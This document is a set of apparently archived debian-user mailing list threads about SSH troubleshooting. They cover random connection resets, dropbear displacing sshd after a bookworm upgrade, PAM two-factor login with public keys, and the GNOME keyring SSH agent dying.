The versions up to 9.4 were fine, i.e. I got a detailed error message.

> Since this is a problem with ssh, which uses a client/server architecture,
> giving the version of the server's sshd would also help.

openssh-server 1:7.9p1-10+deb10u3

but I don't think this is useful.

> Finally, if you've customized something that's relevant, be sure to
> include that.  For the ssh client, customizations are done in the
> /etc/ssh/ssh_config and ~/.ssh/config files.  Anything you've changed
> or added there would be important to disclose.

At the time of the test:

IdentitiesOnly yes
TCPKeepAlive no
ControlPath /tmp/ssh-%h-%p-%r
SendEnv LANG LC_*
ProxyCommand none
StrictHostKeyChecking yes

(and the last change was "KeepAlive no" → "TCPKeepAlive no"
in June 2022).

> If you've customized anything on the server end (i.e. in
> /etc/ssh/sshd_config) then you should disclose that as well.

Note that I am not the admin of the server. I can see that
MaxStartups was changed to "MaxStartups 20:30:120". But the
last change was done in June.

-- 
Vincent Lefèvre  - Web: <https://www.vinc17.net/>
100% accessible validated (X)HTML - Blog: <https://www.vinc17.net/blog/>
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Re: openssh: missing kex_exchange_identification ssh error messages with 1:9.5p1-2?

[Greg Wooledge]

On Thu, Dec 14, 2023 at 05:14:28PM +0100, Vincent Lefevre wrote:
> I have the latest version!!! I recall that this is a Debian/unstable
> machine, which I upgrade regularly. So, everytime I get such an error,
> I have the latest client.

Just for the record, saying you have the "latest" version of something
is unhelpful.  This goes double when you're on a testing or unstable
system.  We don't know how long ago you updated, or what mirrors you're
using, or what errors might have occurred the last time you updated,
or whether you have a locally installed version of "ssh" in your PATH
before /usr/bin/ssh, or... anything.  Anything at all.

When asking for help, it's best to give all of the relevant details up
front.  Start by saying you're on Debian unstable.  Then give the
installed package version (as printed by "dpkg -l openssh-client")
and the output of "ssh -V".

After that, describe the problem, and give whatever diagnostic information
you've managed to gather so far.  This might include the output of
"ssh -v myuser@myhost" for example.  The ssh client doesn't generally
write information to log files, but for *other* kinds of problems,
copying the relevant pieces of log files (or journalctl output, etc.)
would probably help.

Since this is a problem with ssh, which uses a client/server architecture,
giving the version of the server's sshd would also help.

Finally, if you've customized something that's relevant, be sure to
include that.  For the ssh client, customizations are done in the
/etc/ssh/ssh_config and ~/.ssh/config files.  Anything you've changed
or added there would be important to disclose.  If you've customized
anything on the server end (i.e. in /etc/ssh/sshd_config) then you
should disclose that as well.

Re: openssh: missing kex_exchange_identification ssh error messages with 1:9.5p1-2?

[Klaus Singvogel]

Vincent Lefevre wrote:
> I have the latest version!!! I recall that this is a Debian/unstable
> machine, which I upgrade regularly. So, everytime I get such an error,
> I have the latest client.
> 
> Note also that this is an error that occurs randomly.

Then I'm sorry, that I can't help you more on this topic.
The given information is not enough to debug, and I'd never seen any other 
connection failure cases.

My advice is, even it's annoying to see a lot of verbose output on your 
terminal, that you can use options "-vvv" in your ssh call, like: ssh -vvv 
user@host date

As you have as well good as bad connections, try to compare that output from 
both types of ssh connections.

Best regards,
Klaus.
-- 
Klaus Singvogel
GnuPG-Key-ID: 1024R/5068792D  1994-06-27

Re: openssh: missing kex_exchange_identification ssh error messages with 1:9.5p1-2?

[Vincent Lefevre]

On 2023-12-14 17:03:10 +0100, Klaus Singvogel wrote:
> Vincent Lefevre wrote:
> > Since 2 years (from early 2022 to 2023-11-26), I've got recurrent
> > errors like
> > 
> > kex_exchange_identification: read: Connection reset by peer
> > Connection reset by x.x.x.x port 22
> 
> This sounds most likely that your SSH client (program at your local
> machine) has an outdated SSH implementation. Try to update this
> program first.

I have the latest version!!! I recall that this is a Debian/unstable
machine, which I upgrade regularly. So, everytime I get such an error,
I have the latest client.

Note also that this is an error that occurs randomly.

-- 
Vincent Lefèvre  - Web: <https://www.vinc17.net/>
100% accessible validated (X)HTML - Blog: <https://www.vinc17.net/blog/>
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Re: openssh: missing kex_exchange_identification ssh error messages with 1:9.5p1-2?

[Klaus Singvogel]

Vincent Lefevre wrote:
> Since 2 years (from early 2022 to 2023-11-26), I've got recurrent
> errors like
> 
> kex_exchange_identification: read: Connection reset by peer
> Connection reset by x.x.x.x port 22

This sounds most likely that your SSH client (program at your local machine) 
has an outdated SSH implementation. Try to update this program first.

Best regards,
Klaus.
-- 
Klaus Singvogel
GnuPG-Key-ID: 1024R/5068792D  1994-06-27

openssh: missing kex_exchange_identification ssh error messages with 1:9.5p1-2?

[Vincent Lefevre]

Since 2 years (from early 2022 to 2023-11-26), I've got recurrent
errors like

kex_exchange_identification: read: Connection reset by peer
Connection reset by x.x.x.x port 22

or

kex_exchange_identification: Connection closed by remote host
Connection closed by x.x.x.x port 22

But yesterday, the errors just became

Connection closed by x.x.x.x port 22

though I suspect that this is exactly the same issue.

The sshd server and its config have not changed. Only the client has
changed: I upgraded to openssh-client 1:9.5p1-2 on 2023-11-27 (this
is a Debian/unstable machine).

Is there any explanation of such a change?

Has anyone noticed a similar change (for those who get such errors)?

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Re: upgrade to bookworm broke ssh x11 forwarding

[tomas]

On Mon, Nov 13, 2023 at 11:10:17AM +0100, Vincent Lefevre wrote:

[...]

> This is what I've done for my old laptop, but the dropbear package
> is *not* needed for that! You just need the dropbear-initramfs
> package [...]

Aha -- now I know the full story. Thanks, Vincent (and all the other
smart folks sharing their wisdom here)

Cheers
-- 
t


signature.asc
Description: PGP signature

Re: upgrade to bookworm broke ssh x11 forwarding

[Vincent Lefevre]

On 2023-11-10 15:32:53 +, fxkl4...@protonmail.com wrote:
> On Fri, 10 Nov 2023, Vincent Lefevre wrote:
> 
> > On 2023-11-10 10:57:21 +0100, Michael wrote:
> >> On Thursday, 9 November 2023 19:08:25 CET, Greg Wooledge wrote:
> >>> No, this is not a normal phenomenon for bookworm upgrades.  I've never
> >>> heard of it happening to anyone before.
> >>
> >> i disagree. i had the same problem b/c i also had dropbear installed.
> >
> > It would be interesting to know why dropbear got installed
> 
> at sometime in the distance past i thought it would be handy
> my initial ramdisk is set up so i can remotely unlock the filesystems

This is what I've done for my old laptop, but the dropbear package
is *not* needed for that! You just need the dropbear-initramfs
package (dropbear-bin will be installed as a consequence as a
dependency, but not the dropbear package, which contains the
startup scripts). If you install the dropbear package, i.e. the
startup scripts, this means that you want dropbear as you're
main sshd daemon rather than the one from OpenSSH.

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Re: upgrade to bookworm broke ssh x11 forwarding

[tomas]

On Fri, Nov 10, 2023 at 01:01:28PM -0500, Dan Ritter wrote:
> to...@tuxteam.de wrote: 

[...]

> > Wait a minute: dropbear is supposed to run in the initramfs, while
> > sshd will be active afterwards, after pivot-root and all that, right?
> > 
> > Then I don't quite get why they should collide at all.
> 
> Because dropbear *can* be run as an ordinary sshd, and some
> people do.

Ugh. Re-reading I realise that I was ambiguous. I meant
"in this case", not in general. Of course, you're right.

Cheers
-- 
t


signature.asc
Description: PGP signature

Re: upgrade to bookworm broke ssh x11 forwarding

[Dan Ritter]

to...@tuxteam.de wrote: 
> On Fri, Nov 10, 2023 at 03:32:53PM +, fxkl4...@protonmail.com wrote:
> > On Fri, 10 Nov 2023, Vincent Lefevre wrote:
> > 
> > > On 2023-11-10 10:57:21 +0100, Michael wrote:
> > >> On Thursday, 9 November 2023 19:08:25 CET, Greg Wooledge wrote:
> > >>> No, this is not a normal phenomenon for bookworm upgrades.  I've never
> > >>> heard of it happening to anyone before.
> > >>
> > >> i disagree. i had the same problem b/c i also had dropbear installed.
> > >
> > > It would be interesting to know why dropbear got installed
> > 
> > at sometime in the distance past i thought it would be handy
> > my initial ramdisk is set up so i can remotely unlock the filesystems
> 
> Wait a minute: dropbear is supposed to run in the initramfs, while
> sshd will be active afterwards, after pivot-root and all that, right?
> 
> Then I don't quite get why they should collide at all.

Because dropbear *can* be run as an ordinary sshd, and some
people do.

-dsr-

Re: upgrade to bookworm broke ssh x11 forwarding

[tomas]

On Fri, Nov 10, 2023 at 03:32:53PM +, fxkl4...@protonmail.com wrote:
> On Fri, 10 Nov 2023, Vincent Lefevre wrote:
> 
> > On 2023-11-10 10:57:21 +0100, Michael wrote:
> >> On Thursday, 9 November 2023 19:08:25 CET, Greg Wooledge wrote:
> >>> No, this is not a normal phenomenon for bookworm upgrades.  I've never
> >>> heard of it happening to anyone before.
> >>
> >> i disagree. i had the same problem b/c i also had dropbear installed.
> >
> > It would be interesting to know why dropbear got installed
> 
> at sometime in the distance past i thought it would be handy
> my initial ramdisk is set up so i can remotely unlock the filesystems

Wait a minute: dropbear is supposed to run in the initramfs, while
sshd will be active afterwards, after pivot-root and all that, right?

Then I don't quite get why they should collide at all.

Cheers
-- 
t


signature.asc
Description: PGP signature

Re: upgrade to bookworm broke ssh x11 forwarding

[David Wright]

On Fri 10 Nov 2023 at 15:32:53 (+), fxkl4...@protonmail.com wrote:
> On Fri, 10 Nov 2023, Vincent Lefevre wrote:
> 
> > On 2023-11-10 10:57:21 +0100, Michael wrote:
> >> On Thursday, 9 November 2023 19:08:25 CET, Greg Wooledge wrote:
> >>> No, this is not a normal phenomenon for bookworm upgrades.  I've never
> >>> heard of it happening to anyone before.
> >>
> >> i disagree. i had the same problem b/c i also had dropbear installed.
> >
> > It would be interesting to know why dropbear got installed
> 
> at sometime in the distance past i thought it would be handy
> my initial ramdisk is set up so i can remotely unlock the filesystems

You may have been relying on a race condition as to whether
openssh or dropbear started first, and were just lucky in bullseye.

The OP's "for some reason the upgrade switched to dropbear" is
somewhat ambiguous, but it looks like the same problem. Perhaps
Greg interpreted that "switched to" as meaning "installed as
a dependency".

Cheers,
David.

Re: upgrade to bookworm broke ssh x11 forwarding

[fxkl47BF]

On Fri, 10 Nov 2023, Vincent Lefevre wrote:

> On 2023-11-10 10:57:21 +0100, Michael wrote:
>> On Thursday, 9 November 2023 19:08:25 CET, Greg Wooledge wrote:
>>> No, this is not a normal phenomenon for bookworm upgrades.  I've never
>>> heard of it happening to anyone before.
>>
>> i disagree. i had the same problem b/c i also had dropbear installed.
>
> It would be interesting to know why dropbear got installed

at sometime in the distance past i thought it would be handy
my initial ramdisk is set up so i can remotely unlock the filesystems

Re: upgrade to bookworm broke ssh x11 forwarding

[Vincent Lefevre]

On 2023-11-10 10:57:21 +0100, Michael wrote:
> On Thursday, 9 November 2023 19:08:25 CET, Greg Wooledge wrote:
> > No, this is not a normal phenomenon for bookworm upgrades.  I've never
> > heard of it happening to anyone before.
> 
> i disagree. i had the same problem b/c i also had dropbear installed.

It would be interesting to know why dropbear got installed (if
openssh-server was already installed, this is rather surprising),
e.g. with "aptitude why dropbear".

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Re: upgrade to bookworm broke ssh x11 forwarding

[Michael]

On Thursday, 9 November 2023 19:08:25 CET, Greg Wooledge wrote:

No, this is not a normal phenomenon for bookworm upgrades.  I've never
heard of it happening to anyone before.



i disagree. i had the same problem b/c i also had dropbear installed. for 
some reason the dropbear daemon is started first in bookworm, so port 22 
was already in use when sshd was started. reading the log file (aka 
systemd-journal) was very enlightening.


a simple 


 systemctl stop dropbear.service
 systemctl disable dropbear.service
 systemctl start ssh.service

was enough to solve the problem. of course, one needs access to the 
console...


greetings...

Re: upgrade to bookworm broke ssh x11 forwarding

[Jeffrey Walton]

On Thu, Nov 9, 2023 at 6:16 PM  wrote:
>
> On Thu, 9 Nov 2023, Jeffrey Walton wrote:
>
> > On Thu, Nov 9, 2023 at 11:43 AM Greg Wooledge  wrote:
> >>
> >> On Thu, Nov 09, 2023 at 03:01:29PM +, fxkl4...@protonmail.com wrote:
> >>> i upgraded from bullseye to bookworm with no problems
> >>> when i try ssh with -X/-Y to the bookworm machine x11 forwarding fails
> >>>
> >>> debug1: Requesting X11 forwarding with authentication spoofing.
> >>> debug1: Sending environment.
> >>> debug1: Sending env LANG = en_US.UTF-8
> >>> debug1: Sending env LC_ALL = en_US.UTF-8
> >>> X11 forwarding request failed on channel 0
> >>>
> >>> the .Xauthority file is not updated
> >>> is there new security or configuration
> >>
> >> On the server, run:
> >>
> >> grep X11 /etc/ssh/sshd_config
> >>
> >> That should tell you whether X11Forwarding and its related options have
> >> been disabled.
> >
> > Probably need a 'grep -IR' since overrides can be provided in 
> > sshd_config.d/ :
> >
> >   $ sudo ls /etc/ssh/sshd_config.d/
> >   10-pubkey_auth.conf  20-no_root_login.conf
> >
> > And:
> >
> >    $ sudo cat /etc/ssh/sshd_config.d/10-pubkey_auth.conf
> >PasswordAuthentication no
> >ChallengeResponseAuthentication no
> >KerberosAuthentication no
> >KerberosOrLocalPasswd no
> >GSSAPIAuthentication no
> >UsePAM no
> >PubkeyAuthentication yes
>
> my /etc/ssh/sshd_config.d/ is empty

/etc/ssh/sshd_config.d/ is where you are supposed to make changes.
Otherwise, new config files get written during upgrades, and overwrite
the old settings. Changes in sshd_config.d always survive, and always
take precedence over the distro's settings.

Jeff

Re: upgrade to bookworm broke ssh x11 forwarding

[fxkl47BF]

On Thu, 9 Nov 2023, Jeffrey Walton wrote:

> On Thu, Nov 9, 2023 at 11:43 AM Greg Wooledge  wrote:
>>
>> On Thu, Nov 09, 2023 at 03:01:29PM +, fxkl4...@protonmail.com wrote:
>>> i upgraded from bullseye to bookworm with no problems
>>> when i try ssh with -X/-Y to the bookworm machine x11 forwarding fails
>>>
>>> debug1: Requesting X11 forwarding with authentication spoofing.
>>> debug1: Sending environment.
>>> debug1: Sending env LANG = en_US.UTF-8
>>> debug1: Sending env LC_ALL = en_US.UTF-8
>>> X11 forwarding request failed on channel 0
>>>
>>> the .Xauthority file is not updated
>>> is there new security or configuration
>>
>> On the server, run:
>>
>> grep X11 /etc/ssh/sshd_config
>>
>> That should tell you whether X11Forwarding and its related options have
>> been disabled.
>
> Probably need a 'grep -IR' since overrides can be provided in sshd_config.d/ :
>
>   $ sudo ls /etc/ssh/sshd_config.d/
>   10-pubkey_auth.conf  20-no_root_login.conf
>
> And:
>
>$ sudo cat /etc/ssh/sshd_config.d/10-pubkey_auth.conf
>PasswordAuthentication no
>ChallengeResponseAuthentication no
>KerberosAuthentication no
>KerberosOrLocalPasswd no
>GSSAPIAuthentication no
>UsePAM no
>PubkeyAuthentication yes
>
> Jeff
>

my /etc/ssh/sshd_config.d/ is empty

Re: upgrade to bookworm broke ssh x11 forwarding

[fxkl47BF]

On Thu, 9 Nov 2023, Greg Wooledge wrote:

> On Thu, Nov 09, 2023 at 04:59:32PM +, fxkl4...@protonmail.com wrote:
>> now it makes a bit more sense
>> sshd isn't running
>> for some reason the upgrade switched to dropbear
>> is this a new thing for bookworm
>> is there a reason i shouldn't disable dropbear and use sshd
>
> No, this is not a normal phenomenon for bookworm upgrades.  I've never
> heard of it happening to anyone before.
>
> You should be able to reinstall openssh-server and remove dropbear
> and get back to normal, unless there's something else unusual in
> your package set.  As this situation is (AFAIK) unique to your system,
> you'll have to be the one to try it and see what happens.
>

openssh was installed just not running
i stopped and disabled dropbear and started sshd
all is right for now
thanks

Re: upgrade to bookworm broke ssh x11 forwarding

[Jeffrey Walton]

On Thu, Nov 9, 2023 at 11:43 AM Greg Wooledge  wrote:
>
> On Thu, Nov 09, 2023 at 03:01:29PM +, fxkl4...@protonmail.com wrote:
> > i upgraded from bullseye to bookworm with no problems
> > when i try ssh with -X/-Y to the bookworm machine x11 forwarding fails
> >
> > debug1: Requesting X11 forwarding with authentication spoofing.
> > debug1: Sending environment.
> > debug1: Sending env LANG = en_US.UTF-8
> > debug1: Sending env LC_ALL = en_US.UTF-8
> > X11 forwarding request failed on channel 0
> >
> > the .Xauthority file is not updated
> > is there new security or configuration
>
> On the server, run:
>
> grep X11 /etc/ssh/sshd_config
>
> That should tell you whether X11Forwarding and its related options have
> been disabled.

Probably need a 'grep -IR' since overrides can be provided in sshd_config.d/ :

   $ sudo ls /etc/ssh/sshd_config.d/
   10-pubkey_auth.conf  20-no_root_login.conf

And:

$ sudo cat /etc/ssh/sshd_config.d/10-pubkey_auth.conf
PasswordAuthentication no
ChallengeResponseAuthentication no
KerberosAuthentication no
KerberosOrLocalPasswd no
GSSAPIAuthentication no
UsePAM no
PubkeyAuthentication yes

Jeff

Re: upgrade to bookworm broke ssh x11 forwarding

[Greg Wooledge]

On Thu, Nov 09, 2023 at 04:59:32PM +, fxkl4...@protonmail.com wrote:
> now it makes a bit more sense
> sshd isn't running
> for some reason the upgrade switched to dropbear
> is this a new thing for bookworm
> is there a reason i shouldn't disable dropbear and use sshd

No, this is not a normal phenomenon for bookworm upgrades.  I've never
heard of it happening to anyone before.

You should be able to reinstall openssh-server and remove dropbear
and get back to normal, unless there's something else unusual in
your package set.  As this situation is (AFAIK) unique to your system,
you'll have to be the one to try it and see what happens.

Re: upgrade to bookworm broke ssh x11 forwarding

[fxkl47BF]

On Thu, 9 Nov 2023, fxkl4...@protonmail.com wrote:

> On Thu, 9 Nov 2023, Greg Wooledge wrote:
>
>> On Thu, Nov 09, 2023 at 03:01:29PM +, fxkl4...@protonmail.com wrote:
>>> i upgraded from bullseye to bookworm with no problems
>>> when i try ssh with -X/-Y to the bookworm machine x11 forwarding fails
>>>
>>> debug1: Requesting X11 forwarding with authentication spoofing.
>>> debug1: Sending environment.
>>> debug1: Sending env LANG = en_US.UTF-8
>>> debug1: Sending env LC_ALL = en_US.UTF-8
>>> X11 forwarding request failed on channel 0
>>>
>>> the .Xauthority file is not updated
>>> is there new security or configuration
>>
>> On the server, run:
>>
>>grep X11 /etc/ssh/sshd_config
>>
>> That should tell you whether X11Forwarding and its related options have
>> been disabled.
>>
>
> $ grep X11 /etc/ssh/sshd_config
> X11Forwarding yes
>
>

now it makes a bit more sense
sshd isn't running
for some reason the upgrade switched to dropbear
is this a new thing for bookworm
is there a reason i shouldn't disable dropbear and use sshd

Re: upgrade to bookworm broke ssh x11 forwarding

[fxkl47BF]

On Thu, 9 Nov 2023, Greg Wooledge wrote:

> On Thu, Nov 09, 2023 at 03:01:29PM +, fxkl4...@protonmail.com wrote:
>> i upgraded from bullseye to bookworm with no problems
>> when i try ssh with -X/-Y to the bookworm machine x11 forwarding fails
>>
>> debug1: Requesting X11 forwarding with authentication spoofing.
>> debug1: Sending environment.
>> debug1: Sending env LANG = en_US.UTF-8
>> debug1: Sending env LC_ALL = en_US.UTF-8
>> X11 forwarding request failed on channel 0
>>
>> the .Xauthority file is not updated
>> is there new security or configuration
>
> On the server, run:
>
>grep X11 /etc/ssh/sshd_config
>
> That should tell you whether X11Forwarding and its related options have
> been disabled.
>

$ grep X11 /etc/ssh/sshd_config
X11Forwarding yes

Re: upgrade to bookworm broke ssh x11 forwarding

[Greg Wooledge]

On Thu, Nov 09, 2023 at 03:01:29PM +, fxkl4...@protonmail.com wrote:
> i upgraded from bullseye to bookworm with no problems
> when i try ssh with -X/-Y to the bookworm machine x11 forwarding fails
> 
> debug1: Requesting X11 forwarding with authentication spoofing.
> debug1: Sending environment.
> debug1: Sending env LANG = en_US.UTF-8
> debug1: Sending env LC_ALL = en_US.UTF-8
> X11 forwarding request failed on channel 0
> 
> the .Xauthority file is not updated
> is there new security or configuration

On the server, run:

grep X11 /etc/ssh/sshd_config

That should tell you whether X11Forwarding and its related options have
been disabled.

upgrade to bookworm broke ssh x11 forwarding

[fxkl47BF]

i upgraded from bullseye to bookworm with no problems
when i try ssh with -X/-Y to the bookworm machine x11 forwarding fails

debug1: Requesting X11 forwarding with authentication spoofing.
debug1: Sending environment.
debug1: Sending env LANG = en_US.UTF-8
debug1: Sending env LC_ALL = en_US.UTF-8
X11 forwarding request failed on channel 0

the .Xauthority file is not updated
is there new security or configuration

Re: pam auth with ssh public key

[jeremy ardley]

On 4/10/23 11:12, Kushal Kumaran wrote:

Perhaps set AuthenticationMethods to publickey,keyboard-interactive in
sshd_config?  Do read the full description of that parameter in the
manpage for other things that might interest you.


I finally managed to get my desired public key and google authenticator 
combo


edit /etc/pam.d/sshd and comment out comon-auth

|# @include common-auth in /etc/ssh/sshd_config UsePAM yes ||ChallengeResponseAuthentication yes ||PasswordAuthentication no AuthenticationMethods 
publickey,keyboard-interactive |

Re: pam auth with ssh public key

[Kushal Kumaran]

On Wed, Oct 04 2023 at 10:08:14 AM, jeremy ardley  
wrote:
> I have set up a server with sshd allowing public key access. I also
> set up google authenticator in pam by putting this line at the head of
> /etc/pam.d/sshd
>
> auth required pam_google_authenticator.so
>
> If I connect to the server without a public key I get the
> authenticator prompt and then password prompt. As expected.
>
> If I connect with a public key I don't get an authenticator or
> password prompt. However, I expected an authenticator prompt but not a
> password prompt
>
> As far as I can tell, sshd does all the public key authentication
> stuff, and there isn't any documented way for pam to check the result
> of the public key other than inspect an environment variable
> SSH_AUTH_INFO_0
>
> All the docs I've read say pam doesn't do that out of the box.
>
> Has pam been updated at or before Debian 11 ? If so, where can I
> manage its actions?

Perhaps set AuthenticationMethods to publickey,keyboard-interactive in
sshd_config?  Do read the full description of that parameter in the
manpage for other things that might interest you.

-- 
regards,
kushal

pam auth with ssh public key

[jeremy ardley]

I have set up a server with sshd allowing public key access. I also set 
up google authenticator in pam by putting this line at the head of 
/etc/pam.d/sshd


auth required pam_google_authenticator.so

If I connect to the server without a public key I get the authenticator 
prompt and then password prompt. As expected.


If I connect with a public key I don't get an authenticator or password 
prompt. However, I expected an authenticator prompt but not a password 
prompt


As far as I can tell, sshd does all the public key authentication stuff, 
and there isn't any documented way for pam to check the result of the 
public key other than inspect an environment variable SSH_AUTH_INFO_0


All the docs I've read say pam doesn't do that out of the box.

Has pam been updated at or before Debian 11 ? If so, where can I manage 
its actions?

Re: Upgrade to Bookworm, now GNOME keyring dies--no access to stored SSH key passwords

[Nate Bargmann]

* On 2023 14 Aug 21:29 -0500, Max Nikulin wrote:
> On 14/08/2023 07:30, Nate Bargmann wrote:
> > Now, while typing this email all keyring PIDs have vanished!
> 
> It may be a way to minimize RAM usage.

I don't think so.  It has been persistent in the past in Buster and
Bullseye with GNOME and is persistent on the laptop which is also
running Bookworm and GNOME.  On this desktop it will rather reliably
shutdown/crash about exactly an hour after logging in with no other
desktop activity, i.e. not opening browsers or other apps.

> The agent may be a socket-activated
> process.
>
> systemctl --user list-sockets

The lists are virtually identical between the laptop:

$ systemctl --user list-sockets
LISTEN   UNITACTIVATES  
 
/run/user/1000/bus   dbus.socket 
dbus.service
/run/user/1000/gcr/ssh   gcr-ssh-agent.socket
gcr-ssh-agent.service
/run/user/1000/gnupg/S.dirmngr   dirmngr.socket  
dirmngr.service
/run/user/1000/gnupg/S.gpg-agent gpg-agent.socket
gpg-agent.service
/run/user/1000/gnupg/S.gpg-agent.browser gpg-agent-browser.socket
gpg-agent.service
/run/user/1000/gnupg/S.gpg-agent.extra   gpg-agent-extra.socket  
gpg-agent.service
/run/user/1000/gnupg/S.gpg-agent.ssh gpg-agent-ssh.socket
gpg-agent.service
/run/user/1000/keyring/control   gnome-keyring-daemon.socket 
gnome-keyring-daemon.service
/run/user/1000/pipewire-0pipewire.socket 
pipewire.service
/run/user/1000/pk-debconf-socket pk-debconf-helper.socket
pk-debconf-helper.service
/run/user/1000/pulse/native  pipewire-pulse.socket   
pipewire-pulse.service

11 sockets listed.
Pass --all to see loaded but inactive sockets, too.

and the desktop:

$ systemctl --user list-sockets
LISTENUNITACTIVATES 
  
/run/user/1000/busdbus.socket 
dbus.service
/run/user/1000/gcr/sshgcr-ssh-agent.socket
gcr-ssh-agent.service
/run/user/1000/gnupg/S.dirmngrdirmngr.socket  
dirmngr.service
/run/user/1000/gnupg/S.gpg-agent  gpg-agent.socket
gpg-agent.service
/run/user/1000/gnupg/S.gpg-agent.browser  gpg-agent-browser.socket
gpg-agent.service
/run/user/1000/gnupg/S.gpg-agent.extragpg-agent-extra.socket  
gpg-agent.service
/run/user/1000/gnupg/S.gpg-agent.ssh  gpg-agent-ssh.socket
gpg-agent.service
/run/user/1000/keyring/controlgnome-keyring-daemon.socket 
gnome-keyring-daemon.service
/run/user/1000/pipewire-0 pipewire.socket 
pipewire.service
/run/user/1000/pk-debconf-socket  pk-debconf-helper.socket
pk-debconf-helper.service
/run/user/1000/pulse/native   pipewire-pulse.socket   
pipewire-pulse.service
/run/user/1000/snapd-session-agent.socket snapd.session-agent.socket  
snapd.session-agent.service

12 sockets listed.
Pass --all to see loaded but inactive sockets, too.

On the desktop gnome-keyring-daemon has not been running for several hours.

> Check owner of $SSH_AUTH_SOCK using ss or lsof. It may give some clue what
> is really happening in your case.

On both systems that environment variable is:

$ echo $SSH_AUTH_SOCK
/run/user/1000/keyring/ssh

> I suggest you to add "f" option to "ps" to see process tree. It may help to
> find details concerning starting of particular agent.

At this point I know the agent will be working normally when I first log
into gnome-shell.  This has been a reliable way to get it started. I
posted to the GNOME discourse about this and was advised to open
separate issues in the keyring Gitlab repository.  They are:

https://gitlab.gnome.org/GNOME/gnome-keyring/-/issues/135
"gnome-keyring-daemon shutting down on Debian 12 shortly after logging
into GNOME Shell "

https://gitlab.gnome.org/GNOME/gnome-keyring/-/issues/136
"gnome-keyring-daemon fails to restart properly on Debian 12 "

Last night I did some testing with gdb and put my results in issue #135.
In this case the daemon crashed when I logged out of another system,
well short of the hour it will run if left idle.

- Nate

-- 
"The optimist proclaims that we live in the best of all
possible worlds.  The pessimist fears this is true."
Web: https://www.n0nb.us
Projects: https://github.com/N0NB
GPG fingerprint: 82D6 4F6B 0E67 CD41 F689 BBA6 FB2C 5130 D55A 8819



signature.asc
Description: PGP signature

Re: Upgrade to Bookworm, now GNOME keyring dies--no access to stored SSH key passwords

[Max Nikulin]

On 14/08/2023 07:30, Nate Bargmann wrote:

I have been using the GNOME keyring applet to manage the SSH public key
passwords I use as it prompts to save passwords and then lets me SSH to
other hosts without out a password prompt.


I do not know how it is arranged in Gnome, but I hope my observations 
still might be helpful.



systems on my LAN and was greeted with a password prompt for the
corresponding public key


To be precise, it is the passphrase do decrypt your *private* key. A 
public key may be known to anybody. Private key is a secret that allows 
to prove that you have it without disclosing of this private key. 
Encryption using a passphrase is a means to mitigate consequences if the 
private key is stolen.


An ssh agent opens a socket and exposes its location through an 
environment variable (perhaps using "systemctl set-environment", but I 
am not sure). Try


env | grep SSH

There are multiple implementations of SSH agents: openssh, gpg, 
keepassxc(?), perhaps gnome has more (seahorse? I am unsure concerning 
the role of secrets service). It may happen that in your case multiple 
instances are running:


/usr/lib/systemd/user/ssh-agent.service
/usr/lib/systemd/user/gpg-agent-ssh.socket
/etc/X11/Xsession.d/90x11-common_ssh-agent

GUI prompt may be just a proxy to an actual ssh agent. It just listens 
its socket and displaying a password prompt on demand and passing other 
messages literally.



Now, while typing this email all keyring PIDs have vanished!


It may be a way to minimize RAM usage. The agent may be a 
socket-activated process.


systemctl --user list-sockets

Check owner of $SSH_AUTH_SOCK using ss or lsof. It may give some clue 
what is really happening in your case.


I suggest you to add "f" option to "ps" to see process tree. It may help 
to find details concerning starting of particular agent.


   ps xwwf

P.S. At certain moment gnome designers decided that password prompt must 
be a modal dialog completely blocking interaction with any other 
applications (including 3rd party password manager). For me it was 
another reason to avoid gnome. I am aware that X11 protocol allows to 
sniff keyboard events and a measure against it is grabbing input. 
However I believe mouse still may be a way to call an external password 
manager. After all, there are may be an option to temporary suspend 
keyboard grabbing. I learned about multiple ways to start a ssh agent 
during initialization of user session when I was trying to figure out 
which way GUI prompt is implemented and if a more flexible dialog could 
be used instead.

Upgrade to Bookworm, now GNOME keyring dies--no access to stored SSH key passwords

[Nate Bargmann]

I now have two desktop systems running Bookworm with GNOME.  The laptop
was upgraded last month and I upgraded the desktop this afternoon.  I
have been using the GNOME keyring applet to manage the SSH public key
passwords I use as it prompts to save passwords and then lets me SSH to
other hosts without out a password prompt.

Some time after the upgrade I wanted to SSH into one of the other
systems on my LAN and was greeted with a password prompt for the
corresponding public key that had prior been managed by the keyring
applet.  I noted differences in the running processes between the laptop
where the keyring applet is still working and the desktop where it was
not.

On an off-chance I cold booted this system and found the keyring applet
was working as expected so I went on doing other things for a while.
Then I tried again and was prompted for the public key's password.
Uggh.

Right after rebooting the process list looked like this which mirrors
the laptop:

$ ps ax -u nate | grep "agent\|keyring"
   2037 ?SLsl   0:00 /usr/bin/gnome-keyring-daemon --foreground 
--components=pkcs11,secrets --control-directory=/run/user/1000/keyring
   2151 ?Ssl0:00 /usr/libexec/gcr-ssh-agent /run/user/1000/gcr
   2157 ?Ss     0:00 ssh-agent -D -a /run/user/1000/openssh_agent
   3802 ?S  0:00 /usr/bin/ssh-agent -D -a 
/run/user/1000/keyring/.ssh
   3922 pts/0S+ 0:00 grep --color=auto agent\|keyring

When I began this mail things looked like this:

$ ps ax -u nate | grep "agent\|keyring"
   2151 ?Ssl0:00 /usr/libexec/gcr-ssh-agent /run/user/1000/gcr
   2157 ?    Ss 0:00 ssh-agent -D -a /run/user/1000/openssh_agent
  12324 ?Sl 0:00 /usr/bin/gnome-keyring-daemon --start --foreground 
--components=secrets
  12325 ?Ssl0:00 /usr/bin/gnome-keyring-daemon --foreground 
--components=pkcs11,secrets --control-directory=/run/user/1000/keyring
  19308 pts/0S+ 0:00 grep --color=auto agent\|keyring

It appears to me that gnome-keyring-daemon has been restarted for some reason.
As a result PIDs 2037 and 3802 are terminated and also
/run/user/1000/keyring/.ssh is no longer present along with the pkcs11 and ssh
files in the same directory.

I don't see anything out of the ordinary, in fact, these packages are
the same on the desktop and laptop systems:

debian-archive-keyring/stable,stable,now 2023.3 all [installed,automatic]
fasttrack-archive-keyring/stable,stable,now 2020.12.19 all [installed]
